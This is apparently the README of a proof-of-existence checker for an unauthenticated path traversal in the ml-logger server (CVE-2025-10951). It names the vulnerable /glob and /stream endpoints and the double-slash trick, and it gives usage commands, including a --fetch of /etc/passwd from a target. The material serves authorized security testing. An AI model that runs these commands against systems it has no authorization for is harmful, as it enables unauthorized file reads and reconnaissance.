
Proof-of-existence checker for CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 — an
unauthenticated path traversal in geyang/ml-logger
(≤ 0.10.36), affecting the log_handler / stream_handler functions in
ml_logger/server.py.
For use only against systems you are authorized to test.
| Endpoint | Method | Purpose |
|---|---|---|
/glob | POST | Confirms the server enumerates filesystem paths outside the app's intended scope |
/stream | GET | Confirms arbitrary file read via a leading double-slash traversal trick (//path/to/file) |
By default the proof step only reads /etc/hostname — a single harmless
line, present on virtually every Linux host, never sensitive data.
pip install requests
Basic check:
python3 check_mllogger_traversal.py http://TARGET:PORT
Write results to JSON (for engagement documentation / evidence):
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json
Fetch a specific file you choose (only runs if vulnerability is confirmed):
python3 check_mllogger_traversal.py http://TARGET:PORT \
--fetch /etc/passwd --output passwd.txt
All together:
python3 check_mllogger_traversal.py http://TARGET:PORT \
--json results.json --fetch /etc/passwd --output passwd.txt
0 — vulnerability confirmed (fully or likely)1 — not confirmed vulnerable / target unreachable{
"target": "http://192.xxx.xxx.xxx:8081",
"timestamp": "2026-00-12T10:15:32.123456+00:00",
"cve": "CVE-2025-10951",
"glob_endpoint_confirmed": true,
"stream_endpoint_confirmed": true,
"vulnerable": true,
"likely_vulnerable": true,
"fetch": {
"remote_path": "/etc/passwd",
"local_path": "passwd.txt",
"success": true
}
}
--fetch will only run after the vulnerability check succeeds — it will
not attempt a fetch against an unconfirmed target.| Flag | Description |
|---|
target | Base URL, e.g. http://192.xxx.x.xx:8081 |
--timeout | Request timeout in seconds (default: 8.0) |
--json FILE | Write structured results to a JSON file |
--fetch REMOTE_PATH | Fetch a specific remote file you specify |
--output LOCAL_PATH | Local filename for --fetch output (default: basename of remote path) |